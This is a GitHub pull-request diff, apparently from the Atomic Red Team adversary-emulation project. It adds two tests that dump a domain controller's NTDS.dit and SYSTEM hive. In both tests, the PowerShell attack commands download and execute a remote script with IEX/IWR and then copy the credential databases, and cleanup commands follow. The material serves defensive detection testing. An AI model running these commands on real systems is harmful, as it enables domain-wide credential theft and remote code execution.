Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
72 changes: 72 additions & 0 deletions atomics/T1003.003/T1003.003.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,10 @@ The following tools and techniques can be used to enumerate the NTDS file and th

- [Atomic Test #9 - Create Volume Shadow Copy with diskshadow](#atomic-test-9---create-volume-shadow-copy-with-diskshadow)

- [Atomic Test #10 - Copy NTDS in low level NTFS acquisition via MFT parsing](#atomic-test-10---Copy-NTDS-in-low-level-NTFS-acquisition-via-MFT-parsing)

- [Atomic Test #11 - Copy NTDS in low level NTFS acquisition via fsutil](#atomic-test-11---Copy-NTDS-in-low-level-NTFS-acquisition-via-fsutil)


<br/>

Expand Down Expand Up @@ -461,7 +465,75 @@ mkdir c:\exfil
diskshadow.exe /s #{filename}
```

<br/>


## Atomic Test #10 - Copy NTDS in low level NTFS acquisition via MFT parsing
This test is intended to be run on a domain Controller.
UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).

**Supported Platforms:** Windows


#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| extract_path | Path for extracted NTDS.dit | path | C:&#92;Windows&#92;Temp|



#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/kfallahi/UnderlayCopy/refs/heads/main/UnderlayCopy.ps1' -UseBasicParsing)
Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
```


#### Cleanup Commands:
```powershell
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue
```


<br/>



## Atomic Test #11 - Copy NTDS in low level NTFS acquisition via fsutil
This test is intended to be run on a domain Controller.
UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).

**Supported Platforms:** Windows


#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| extract_path | Path for extracted NTDS.dit | path | C:&#92;Windows&#92;Temp|



#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)


```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/kfallahi/UnderlayCopy/refs/heads/main/UnderlayCopy.ps1' -UseBasicParsing)
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
```


#### Cleanup Commands:
```powershell
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue
```



Expand Down
47 changes: 47 additions & 0 deletions atomics/T1003.003/T1003.003.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -261,3 +261,50 @@ atomic_tests:
diskshadow.exe /s #{filename}
name: command_prompt
elevation_required: true
- name: Copy NTDS in low level NTFS acquisition via MFT parsing
description: |
This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
supported_platforms:
- windows
input_arguments:
extract_path:
type: string
default: C:\Windows\Temp
description: Path for extracted NTDS.dit
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/kfallahi/UnderlayCopy/refs/heads/main/UnderlayCopy.ps1' -UseBasicParsing)
Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
name: powershell
elevation_required: true
cleanup_command: |
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue

- name: Copy NTDS in low level NTFS acquisition via fsutil
description: |
This test is intended to be run on a domain Controller.

UnderlayCopy is a PowerShell utility for low-level NTFS acquisition and dumping protected, locked system artifacts (for example: SAM, SYSTEM, NTDS.dit, registry hives, and other files that are normally inaccessible while Windows is running).
supported_platforms:
- windows
input_arguments:
extract_path:
type: string
default: C:\Windows\Temp
description: Path for extracted NTDS.dit
executor:
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/kfallahi/UnderlayCopy/refs/heads/main/UnderlayCopy.ps1' -UseBasicParsing)
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile #{extract_path}\ntds.dit
Underlay-Copy -Mode Metadata -SourceFile C:\Windows\System32\config\SYSTEM -DestinationFile #{extract_path}\SYSTEM_HIVE
name: powershell
elevation_required: true
cleanup_command: |
remove-item "#{extract_path}\ntds.dit" -force -erroraction silentlycontinue
remove-item "#{extract_path}\SYSTEM_HIVE" -force -erroraction silentlycontinue